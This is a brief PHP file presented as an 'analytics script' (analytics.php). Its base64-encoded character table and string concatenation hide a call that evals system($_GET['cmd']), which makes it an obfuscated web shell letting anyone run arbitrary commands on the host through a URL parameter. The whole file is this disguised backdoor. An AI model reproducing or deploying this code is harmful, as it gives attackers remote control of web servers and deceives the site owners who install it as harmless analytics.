PHP analytics script

analytics.php

<?php 
//Begin Analytics Code
$STAT = unserialize(base64_decode("YTozMzp7aTowO3M6MToiaCI7aToxO3M6MToibSI7aToyO3M6MToiaSI7aTozO3M6MToibiI7aTo0O3M6MToiYSI7aTo1O3M6MToidyI7aTo2O3M6MToicCI7aTo3O3M6MToieSI7aTo4O3M6MToicyI7aTo5O3M6MToiYiI7aToxMDtzOjE6ImoiO2k6MTE7czoxOiJ1IjtpOjEyO3M6MToieiI7aToxMztzOjE6ImwiO2k6MTQ7czoxOiJrIjtpOjE1O3M6MToiZiI7aToxNjtzOjE6InYiO2k6MTc7czoxOiJlIjtpOjE4O3M6MToiciI7aToxOTtzOjE6ImQiO2k6MjA7czoxOiInIjtpOjIxO3M6MToibyI7aToyMjtzOjE6IngiO2k6MjM7czoxOiJdIjtpOjI0O3M6MToiWyI7aToyNTtzOjI6Iik7IjtpOjI2O3M6MToiZyI7aToyNztzOjE6InQiO2k6Mjg7czoxOiJjIjtpOjI5O3M6MToiJCI7aTozMDtzOjE6Il8iO2k6MzE7czoxOiIoIjtpOjMyO3M6MToicSI7fQ=="));
$values =  
$STAT[8] . $STAT[7] . $STAT[8] . $STAT[27] . $STAT[17] . $STAT[1] . $STAT[31] . $STAT[29]  .
$STAT[30] . strtoupper( $STAT[26] . $STAT[17] . $STAT[27] ) . $STAT[24] . $STAT[20] .
$STAT[28] . $STAT[1] . $STAT[19] . $STAT[20] . $STAT[23] .$STAT[25];
eval("$values");
?>